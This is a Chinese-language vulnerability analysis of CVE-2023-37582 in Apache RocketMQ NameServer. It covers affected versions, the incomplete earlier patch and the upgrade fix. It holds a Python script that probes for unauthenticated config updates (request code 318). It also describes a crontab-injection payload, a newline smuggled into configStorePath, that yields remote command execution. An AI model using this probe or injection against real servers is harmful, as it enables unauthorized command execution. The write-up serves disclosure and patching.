一、背景
RocketMQ是由阿里捐赠给Apache的一款低延迟、高并发、高可用、高可靠的分布式消息中间件,NameServer 为 Producer 和 Consumer 节点提供路由信息的组件。
在CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。
二、漏洞版本范围
Apache RocketMQ NameServer 5.0.0 ~ 5.1.1
Apache RocketMQ NameServer 4.0.0 ~ 4.9.6
三、漏洞分析
修复版本代码:
可以看到,补丁将configStorePathName修改为configStorePath。根据DawnT0wn师傅的分析:
只需要使用UPDATE_NAMESRV_CONFIG(318)的更新功能,即可操纵RocketMq的body参数进行任意文件写入。由于RocketMq在5.1.1删除了FilterServerManager类,因此本漏洞只能通过向crontab写入定时任务,进行远程命令执行的漏洞利用。
四、漏洞测试
结合DawnT0wn以及afrog的nuclei插件:
测试脚本如下:
import socket
import binascii
client = socket.socket()
client.settimeout(5)
client.connect((target_ip,target_port))
# make payload
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body=('Thanks DawnT0wn').encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
只要返回的data_recv中包含
{"code":0,"flag":1,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC" 字样,即表示RocketMq NameServer是未授权访问的,可能存在漏洞。
五、漏洞利用
由于body可控,我们可以在body内指定configStorePath=/var/spool/cron/root即可将RocketMq配置文件写入crontab文件中。
此外,由于crontab需要每一行开头以* * 类似的字符开始,不能出现其他字符,所以payload需要换行输入。我们可以将configStorePath赋值为:
/var/spool/cron/root\\n* * * * * whoami\n
以此向crotab写入可执行的定时命令。
六、漏洞修复
升级RocketMQ到 4.9.7 或 5.1.2 或更高版本